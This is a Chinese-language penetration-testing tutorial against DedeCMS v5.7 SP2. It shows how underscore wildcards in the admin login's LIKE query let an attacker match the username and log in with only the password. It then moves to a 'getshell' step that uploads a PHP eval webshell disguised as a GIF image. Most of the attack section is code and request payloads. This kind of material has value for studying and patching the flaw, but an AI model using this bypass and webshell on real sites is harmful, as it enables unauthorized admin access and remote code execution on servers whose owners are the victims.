Dedecms 渗透
环境搭建
最新版Dedecms即v5.7 SP2(从18年开始就已经没有更新了,应该是没有人维护了)。
织梦全版本漏洞扫描
织梦全版本漏洞扫描https://github.com/lengjibo/Dedecmscan
c:\Dedecmscan-master>python3 dedescan.py
猜解织梦后台管理员用户名位数
在dede/login.PHP中
$res = $cuserLogin->checkUser($userid,$pwd);
在include/userlogin.class.PHP
/**
* 检验用户是否正确
*
* @access public
* @param string $username 用户名
* @param string $userpwd 密码
* @return string
*/
function checkUser($username, $userpwd)
{
global $dsql;
//只允许用户名和密码用0-9,a-z,A-Z,'@','_','.','-'这些字符
$this->userName = preg_replace("/[^0-9a-zA-Z_@!\.-]/", '', $username);
$this->userPwd = preg_replace("/[^0-9a-zA-Z_@!\.-]/", '', $userpwd);
$pwd = substr(md5($this->userPwd), 5, 20);
$dsql->SetQuery("SELECT admin.*,atype.purviews FROM `#@__admin` admin LEFT JOIN `#@__admintype` atype ON atype.rank=admin.usertype WHERE admin.userid LIKE '".$this->userName."' LIMIT 0,1");
$dsql->Execute();
$row = $dsql->Getobject();
if(!isset($row->pwd))
{
return -1;
}
else if($pwd!=$row->pwd)
{
return -2;
}
else
{
$loginip = GetIP();
$this->userID = $row->id;
$this->userType = $row->usertype;
$this->userChannel = $row->typeid;
$this->userName = $row->uname;
$this->userPurview = $row->purviews;
$inquery = "UPDATE `#@__admin` SET loginip='$loginip',logintime='".time()."' WHERE id='".$row->id."'";
$dsql->ExecuteNoneQuery($inquery);
$sql = "UPDATE #@__member SET logintime=".time().", loginip='$loginip' WHERE mid=".$row->id;
$dsql->ExecuteNoneQuery($sql);
return 1;
}
}
WHERE admin.userid LIKE '".$this->userName."' LIMIT 0,1"
$this->userName = preg_replace("/[^0-9a-zA-Z_@!\.-]/", '', $username);
虽然在前面有把一些用户名不允许的字符给替换为空了, 想直接用%
这种匹配任意数量字符的模糊查询出数据就不行了。
但是可以看到这个过滤没有把_
替换为空。
对于LIKE,可以在模式中使用以下两个通配符:
%
匹配任意数量的字符,甚至零个字符。
_
只匹配一个字符。
本次测试,设置的账号密码是admin,admin
当输入四个_
时,返回
当输入五个_
时,返回
此时用户名已经验证通过,因此可以在不知道用户名的情况下,直接通过密码登录上。
后台getshell
POST:
Content-disposition: form-data; name="litpic"; filename="1.PHP"
Content-Type: image/jpeg
GIF89a
<?PHP
@eval($_POST[cmd]);
?>
成功上传webshell
参考
http://www.yulegeyu.com/2018/09/20/dedecms-guess-admin-username-trick/
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。